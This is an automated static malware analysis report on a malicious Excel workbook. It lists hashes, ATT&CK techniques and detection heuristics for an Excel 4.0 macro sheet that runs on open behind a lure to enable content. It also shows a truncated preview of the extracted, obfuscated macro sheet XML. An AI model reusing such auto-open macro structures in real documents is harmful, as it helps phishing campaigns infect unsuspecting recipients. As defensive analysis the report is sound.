Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 31c0254151804c23…

MALICIOUS

Office (OOXML)

22.1 KB Created: 2021-04-14 11:15:42 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-17
MD5: b850cbc939c2459660f4c77dedab4b5d SHA-1: aa4046cf3131ef5c9c5fcb1cf41f9225ca56d404 SHA-256: 31c0254151804c230792b9f9e567b61698448cb2e3064e5e7afb190fe6f914c0
122 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

This Excel 4.0 macro sheet contains an Auto_Open defined name, indicating it will execute macros upon opening. The document body displays a deceptive message to encourage users to enable content, a common social engineering tactic. The presence of XLM macros suggests an attempt to execute arbitrary code, likely for downloading a secondary payload.

Heuristics 3

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 17111 bytes
SHA-256: 64de6d46e94f33ae2e3debb4def2c94623454ac377080fa0496f45a46931c574
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1B35211F-419A-47FE-A97B-F4F54BE6AC32}"><dimension ref="A49:AI92"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.2"/><sheetData><row r="49" spans="1:35" x14ac:dyDescent="0.2"><c r="A49"><v>0</v></c></row><row r="50" spans="1:35" x14ac:dyDescent="0.2"><c r="A50" t="b"><f bx="1">zaNvVSiyt=A49</f><v>0</v></c><c r="C50"><v>-827</v></c><c r="D50" s="1" t="s"><v>0</v></c><c r="E50" s="1" t="s"><v>26</v></c><c r="F50" s="1" t="s"><v>44</v></c><c r="G50" s="1" t="s"><v>48</v></c><c r="H50" s="1" t="s"><v>54</v></c><c r="I50" s="1" t="s"><v>59</v></c><c r="J50" s="1" t="s"><v>68</v></c><c r="K50" s="1" t="s"><v>77</v></c><c r="L50" s="1" t="s"><v>71</v></c><c r="M50" s="1" t="s"><v>92</v></c><c r="N50" s="1" t="s"><v>97</v></c><c r="O50" s="1" t="s"><v>106</v></c><c r="P50" s="1" t="s"><v>118</v></c><c r="Q50" s="1" t="s"><v>142</v></c><c r="R50" s="1" t="s"><v>77</v></c><c r="S50" s="1" t="s"><v>149</v></c><c r="T50" s="1" t="s"><v>154</v></c><c r="U50" s="1" t="s"><v>173</v></c><c r="V50" s="1" t="s"><v>188</v></c><c r="W50" s="1" t="s"><v>198</v></c><c r="X50" s="1" t="s"><v>216</v></c><c r="Y50" s="1" t="s"><v>219</v></c><c r="Z50" s="1" t="s"><v>224</v></c><c r="AA50" s="1" t="s"><v>249</v></c><c r="AB50" s="1" t="s"><v>255</v></c><c r="AC50" s="1" t="s"><v>257</v></c><c r="AD50" s="1" t="s"><v>267</v></c><c r="AE50" s="1" t="s"><v>198</v></c><c r="AF50" s="1" t="s"><v>278</v></c><c r="AG50" s="1" t="s"><v>290</v></c><c r="AH50" s="1" t="s"><v>296</v></c><c r="AI50" s="1" t="s"><v>304</v></c></row><row r="51" spans="1:35" x14ac:dyDescent="0.2"><c r="A51" t="b"><f>WHILE(NOT(zaNvVSiyt&gt;=32))</f><v>0</v></c><c r="C51"><v>-830</v></c><c r="D51" t="s"><v>1</v></c><c r="E51" t="s"><v>27</v></c><c r="F51" t="s"><v>45</v></c><c r="H51" t="s"><v>55</v></c><c r="I51" t="s"><v>60</v></c><c r="K51" t="s"><v>78</v></c><c r="N51" t="s"><v>98</v></c><c r="O51" t="s"><v>107</v></c><c r="P51" t="s"><v>119</v></c><c r="Q51" t="s"><v>143</v></c><c r="S51" t="s"><v>150</v></c><c r="T51" t="s"><v>155</v></c><c r="U51" t="s"><v>174</v></c><c r="V51" t="s"><v>189</v></c><c r="W51" t="s"><v>199</v></c><c r="Y51" t="s"><v>220</v></c><c r="AA51" t="s"><v>250</v></c><c r="AC51" t="s"><v>258</v></c><c r="AE51" t="s"><v>272</v></c><c r="AH51" t="s"><v>297</v></c><c r="AI51" t="s"><v>305</v></c></row><row r="52" spans="1:35" x14ac:dyDescent="0.2"><c r="C52"><v>-901</v></c><c r="D52" s="1" t="s"><v>2</v></c><c r="E52" s="1" t="s"><v>28</v></c><c r="F52" s="1" t="s"><v>46</v></c><c r="G52" s="1" t="s"><v>49</v></c><c r="H52" s="1" t="s"><v>56</v></c><c r="I52" s="1" t="s"><v>61</v></c><c r="J52" s="1" t="s"><v>69</v></c><c r="K52" s="1" t="s"><v>79</v></c><c r="L52" s="1" t="s"><v>84</v></c><c r="M52" s="1" t="s"><v>93</v></c><c r="N52" s="1" t="s"><v>99</v></c><c r="O52" s="1" t="s"><v>108</v></c><c r="P52" s="1" t="s"><v>120</v></c><c r="Q52" s="1" t="s"><v>144</v></c><c r="R52" s="1" t="s"><v>79</v></c><c r="S52" s="1" t="s"><v>151</v></c><c r="T52" s="1" t="s"><v>156</v></c><c r="U52" s="1" t="s"><v>175</v></c><c r="V52" s="1" t="s"><v>190</v></c><c r="W52" s="1" t="s"><v>200</v></c><c r="X52" s="1" t="s"><v>120</v></c><c r="Y52" s="1" t="s"><v>221</v></c><c r="Z52" s="1" t="s"><v>225</v></c><c r="AA52" s="1"
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.